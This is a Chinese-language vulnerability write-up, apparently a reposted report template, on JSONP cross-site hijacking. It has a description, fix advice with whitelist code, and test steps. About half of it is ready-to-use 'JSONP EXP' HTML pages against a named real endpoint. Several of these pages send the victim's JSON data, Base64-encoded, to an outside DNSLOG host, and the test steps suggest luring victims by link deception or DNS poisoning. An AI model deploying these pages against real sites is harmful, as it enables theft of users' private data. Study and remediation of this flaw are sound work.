JSONP跨站劫持漏洞
漏洞名称 |
JSONP跨站劫持漏洞 |
漏洞地址 |
|
漏洞等级 |
中危 |
漏洞描述 |
攻击者通过操纵第三方网站上的JSONP回调函数,来获取用户在目标网站上的敏感信息。这种漏洞的关键在于,JSONP在请求时不对数据源进行验证,而是依赖于回调函数的执行,从而可能导致恶意操作。 |
漏洞成因 |
1.缺乏验证机制: JSONP请求不像XMLHttpRequest那样受同源策略的限制,它通过动态创建<script>标签来加载跨域脚本,而这些脚本可能被恶意网站篡改。 2.信任回调函数: JSONP的安全性依赖于对回调函数的信任,如果回调函数被劫持或篡改,攻击者可以执行恶意代码。 3.敏感信息泄露:JSONP接口在响应中会包含用户凭证或敏感信息。 |
漏洞危害 |
1.用户隐私泄露: 攻击者可以获取用户在目标网站上的敏感信息,如用户身份、个人数据等。 2.恶意操作: 攻击者可以以用户的身份执行恶意操作,如修改用户配置、发表评论等。 |
修复建议 |
1.不使用JSONP:考虑使用更安全的跨域通信方式,如CORS(跨源资源共享)。 2.验证回调函数: 服务端应该验证JSONP请求中的回调函数是否是合法的,避免被劫持。建立callback函数白名单,如果传入的callback参数值不在白名单内,跳转到统一的异常界面阻止其继续输出。 3.使用随机回调函数: 动态生成随机的回调函数名称,使攻击者难以猜测。 严格格式处理:严格定义HTTP响应中的Content-Type为json数据格式 Content-Type: application/json;charset=UTF-8。 4.输出过滤:对callback参数和json数据输出进行HTML实体编码来过滤掉“<”、“>”等字符。
参考代码:
// 修复方法1:定白名单允许的回调函数名称 var allowedCallbacks = ['cb1', 'cb2']; function callback(data) { if (allowedCallbacks.indexOf(callbackName) > -1) { // 处理请求 } else { // 回调名称不在白名单中,拒绝回调 } }
// 修复方法2:在输出数据前校验回调函数名称的有效性 function callback(data) { var regex = /^[a-z_$][a-z0-9_$]*$/i; if (regex.test(callbackName)) { // 回调名称符合规范,处理请求 } else { // 回调名称不符合规范,拒绝回调 } }
下面代码是一个使用Spring Framework的Java示例,用于处理JSONP请求。在jsonpEndpoint方法中,验证了回调函数的合法性,并返回相应的JSONP响应。isValidCallback方法是一个简单的回调函数验证示例,实际应用中可能需要更复杂的逻辑来确保回调函数的安全性。
import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.util.JavaScriptUtils;
@RestController public class JsonpController {
private static final String CALLBACK_PATTERN = "[a-zA-Z_][a-zA-Z0-9_]*";
@GetMapping("/jsonp-endpoint") public ResponseEntity<String> jsonpEndpoint(@RequestParam("callback") String callback, @RequestParam("data") String data) { if (isValidCallback(callback)) { String jsonpResponse = JavaScriptUtils.javaScriptEscape(callback) + "(" + data + ")"; return ResponseEntity.ok().body(jsonpResponse); } else { return ResponseEntity.badRequest().body("Invalid callback function"); } }
private boolean isValidCallback(String callback) { return callback.matches(CALLBACK_PATTERN); } } |
初测过程 |
JSONP跨站劫持漏洞的测试过程如下: 1.查找目标网站是否使用JSONP接口。可以通过查看响应头中是否包含"Content-Type: application/javascript"等信息判断。 2.分析JSONP接口和回调函数参数。常见的JSONP回调函数参数有:callback、cb、jsonp、jsonpCallback等。需要确定目标网站使用的具体参数名称。 3.构造跨站URL以劫持JSONP响应。URL格式通常为: https://vulnerable_website/jsonp_endpoint?callback=attacker_controlled_callback 其中attacker_controlled_callback是攻击者控制的JavaScript函数名称。 4.在自己控制的网站上设置一个attacker_controlled_callback 数,用于接收劫持的JSONP响应。 5.诱导目标用户访问构造的跨站URL。常见的诱导手段有:链接欺骗、DNS污染等。 6.当目标用户访问跨站URL时,请求会发送到vulnerable_website,该网站会返回一个JSONP响应,响应中会调用attacker_controlled_callback函数并传入数据作为参数。 7.attacker_controlled_callback函数在攻击者的网站上执行,从而接收到目标网站传回的JSONP数据,达到跨站劫持的目的。 8.分析劫持的数据,可能包含用户隐私、会话信息等敏感内容。 所以,JSONP 跨站劫持漏洞的测试关键在于确认目标网站使用 JSONP 接口,构造跨站 URL 以劫持响应,并在自己的网站上设置回调函数来接收数据。成功利用该漏洞可以获取目标网站敏感数据。
JSONP EXP
方法一:JavaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script> function jsoncallback(json){ //new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json) alert(JSON.stringify(json)) } </script> <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body> </html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script> function jsoncallback(json){ new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json) //alert(JSON.stringify(json)) } </script> <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body> </html>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script> function jsoncallback(json){ new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(json)))) //alert(JSON.stringify(json)) } </script> <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body> </html>
方法二:jQuery jsonp跨域请求
弹窗代码(弹窗JSON数据):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> $(document).ready(function(){ $("#button").click(function(){ $.ajax({ url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback", type: "GET", //定GET请求方法 dataType: "jsonp", //定服务器返回的数据类型 jsonp: "callback", //定参数名称 jsonpCallback: "jsoncallback", //定回调函数名称 success: function (data) { var result = JSON.stringify(data); //json对象转成字符串 $("#text").val(result); } }) }) }) </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> $(document).ready(function(){ $("#button").click(function(){ $.ajax({ url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback", type: "GET", //定GET请求方法 dataType: "jsonp", //定服务器返回的数据类型 jsonp: "callback", //定参数名称 jsonpCallback: "jsoncallback", //定回调函数名称 success: function (data) { new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data)))) //var result = JSON.stringify(data); //json对象转成字符串 //$("#text").val(result); } }) }) }) </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
两者同时操作:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> $(document).ready(function(){ $("#button").click(function(){ $.ajax({ url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback", type: "GET", //定GET请求方法 dataType: "jsonp", //定服务器返回的数据类型 jsonp: "callback", //定参数名称 jsonpCallback: "jsoncallback", //定回调函数名称 success: function (data) { var result = JSON.stringify(data); //json对象转成字符串 $("#text").val(result); new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(result))) } }) }) }) </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
方法三:jQuery JacaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> //回调函数 function jsoncallback (result) { var data = JSON.stringify(result); //json对象转成字符串 $("#text").val(data); }
$(document).ready(function () {
$("#button").click(function () { //向头部输入一个脚本,该脚本发起一个跨域请求 $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>"); });
}); </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> //回调函数 function jsoncallback (result) { new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(result)))) //var data = JSON.stringify(result); //json对象转成字符串 //$("#text").val(data); }
$(document).ready(function () {
$("#button").click(function () { //向头部输入一个脚本,该脚本发起一个跨域请求 $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>"); });
}); </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
两者同时操作:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> //回调函数 function jsoncallback (result) { var data = JSON.stringify(result); //json对象转成字符串 $("#text").val(data); new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(data))) }
$(document).ready(function () {
$("#button").click(function () { //向头部输入一个脚本,该脚本发起一个跨域请求 $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>"); });
}); </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>。 |
复测过程 |
|
复测结果 |
未修复 |
初测人员 |
|
复测人员 |
原文始发于微信公众号(利刃信安攻防实验室):【漏洞归纳】JSONP跨站劫持漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论